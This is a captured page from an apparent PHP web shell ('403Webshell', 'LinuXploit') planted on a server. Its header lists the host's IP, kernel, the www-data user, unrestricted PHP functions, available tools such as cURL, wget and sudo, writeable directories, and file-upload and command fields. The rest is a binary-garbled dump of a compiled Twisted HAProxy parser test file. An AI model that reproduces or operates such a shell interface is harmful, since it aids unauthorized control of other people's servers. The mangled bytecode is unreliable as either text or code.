403Webshell
Server IP : 138.197.162.186  /  Your IP : 216.73.216.184
Web Server : nginx/1.24.0
System : Linux ubuntu-s-1vcpu-512mb-10gb-tor1 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/twisted/protocols/haproxy/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/twisted/protocols/haproxy/test/__pycache__/test_v1parser.cpython-312.pyc
�

Ϫ�f���j�dZddlmZddlmZddlmZddlmZm	Z	m
Z
Gd�dej�Zy	)
z7
Test cases for L{twisted.protocols.haproxy.V1Parser}.
�)�address)�unittest�)�	_v1parser)�InvalidNetworkProtocol�InvalidProxyHeader�MissingAddressDatac�`�eZdZdZd
d�Zd
d�Zd
d�Zd
d�Zd
d�Zd
d�Z	d
d	�Z
d
d
�Zd
d�Zd
d�Z
y)�
V1ParserTestsz?
    Test L{twisted.protocols.haproxy.V1Parser} behaviour.
    Nc�b�|jttjjd�y)zT
        Test that an exception is raised when the PROXY header is missing.
        s	NOTPROXY N)�assertRaisesrr�V1Parser�parse��selfs �N/usr/lib/python3/dist-packages/twisted/protocols/haproxy/test/test_v1parser.py�test_missingPROXYHeaderValuez*V1ParserTests.test_missingPROXYHeaderValues'��	
�������$�$��	
�c�b�|jttjjd�y)zX
        Test that an exception is raised when the proto is not TCP or UNKNOWN.
        sPROXY WUTPROTO N)r
rrrrrs r�test_invalidNetworkProtocolz)V1ParserTests.test_invalidNetworkProtocols'��	
���"����$�$��	
rc�b�|jttjjd�y)zU
        Test that an exception is raised when the proto has no source data.
        sPROXY TCP4 N�r
r	rrrrs r�test_missingSourceDataz$V1ParserTests.test_missingSourceData's'��	
�������$�$��	
rc�b�|jttjjd�y)zU
        Test that an exception is raised when the proto has no destination.
        sPROXY TCP4 127.0.0.1 8080 8888Nrrs r�test_missingDestDataz"V1ParserTests.test_missingDestData1s'��	
�������$�$�-�	
rc�^�tjjd�}|j|jt
j�t|jt
j�sJ�t|jt
j�sJ�|j|jjd�|j|jjd�|j|jjd�|j|jjd�y)zE
        Test that parsing is successful for a PROXY header.
        s(PROXY TCP4 127.0.0.1 127.0.0.1 8080 8888�	127.0.0.1��"N)rrr�assertIsInstance�sourcer�IPv4Address�
isinstance�destination�assertEqual�host�port�r�infos  r�test_fullParsingSuccessz%V1ParserTests.test_fullParsingSuccess;s����!�!�'�'�7�
��	
���d�k�k�7�+>�+>�?��$�+�+�w�':�':�;�;�;��$�*�*�G�,?�,?�@�@�@�������)�)�;�7�������)�)�4�0�����)�)�.�.��<�����)�)�.�.��5rc�^�tjjd�}|j|jt
j�t|jt
j�sJ�t|jt
j�sJ�|j|jjd�|j|jjd�|j|jjd�|j|jjd�y)zK
        Test that parsing is successful for an IPv6 PROXY header.
        sPROXY TCP6 ::1 ::1 8080 8888z::1rrN)rrrr r!r�IPv6Addressr#r$r%r&r'r(s  r�test_fullParsingSuccess_IPv6z*V1ParserTests.test_fullParsingSuccess_IPv6Js����!�!�'�'�+�
��	
���d�k�k�7�+>�+>�?��$�+�+�w�':�':�;�;�;��$�*�*�G�,?�,?�@�@�@�������)�)�5�1�������)�)�4�0�����)�)�.�.��6�����)�)�.�.��5rc��tjjd�}|j|j�|j|j
�y)zM
        Test that parsing is successful for a UNKNOWN PROXY header.
        s$PROXY UNKNOWN anything could go hereN)rrr�assertIsNoner!r$r(s  r�test_fullParsingSuccess_UNKNOWNz-V1ParserTests.test_fullParsingSuccess_UNKNOWNYsE���!�!�'�'�3�
��	
���$�+�+�&����$�*�*�+rc�z�tj�}|jd�\}}|j|�|j|�|jd�\}}|j|�|j|�|jd�\}}|j|�|�J�|�J�|j	|j
tj�t|j
tj�sJ�t|jtj�sJ�|j|j
jd�|j|j
jd�|j|jjd�|j|jjd�y)zE
        Test that parsing happens when fed a complete line.
        �PROXY TCP4 127.0.0.1 127.0.0.1 �	8080 8888s
Nrrr)
rr�feed�assertFalser r!rr"r#r$r%r&r'�r�parserr)�	remainings    r�test_feedParsingzV1ParserTests.test_feedParsingcsc���#�#�%�� �+�+�&H�I���i����������#� �+�+�l�3���i����������#� �+�+�g�.���i�����#��$�$�$��������d�k�k�7�+>�+>�?��$�+�+�w�':�':�;�;�;��$�*�*�G�,?�,?�@�@�@�������)�)�;�7�������)�)�4�0�����)�)�.�.��<�����)�)�.�.��5rc�F�tj�}|jd�\}}|j|�|j|�|jd�\}}|j|�|j|�|j	t
|jd�y)zN
        Test that parsing fails if no newline is found in 108 bytes.
        r2r3sd                                                                                                    N)rrr4r5r
rr6s    r�test_feedParsingTooLongz%V1ParserTests.test_feedParsingTooLongzs����#�#�%�� �+�+�&H�I���i����������#� �+�+�l�3���i����������#������K�K��	
rc���tj�}|jd�\}}|j|�|j	|d�|j|j�y)zH
        Test that parsing leaves overflow bytes in the buffer.
        s:PROXY TCP4 127.0.0.1 127.0.0.1 8080 8888
HTTP/1.1 GET /
sHTTP/1.1 GET /
N)rrr4�
assertTruer%r5�bufferr6s    r�test_feedParsingOverflowz&V1ParserTests.test_feedParsingOverflow�sX���#�#�%�� �+�+�M�
���i�	
���������$9�:�������'r)�returnN)�__name__�
__module__�__qualname__�__doc__rrrrr*r-r0r9r;r?�rrrrs9���
�
�
�
�
6�
6�,�6�.
�"
(rrN)
rD�twisted.internetr�
twisted.trialr�r�_exceptionsrrr	�TestCaserrErr�<module>rKs/���%�"��X�X�G(�H�%�%�G(r

Youez - 2016 - github.com/yon3zu
LinuXploit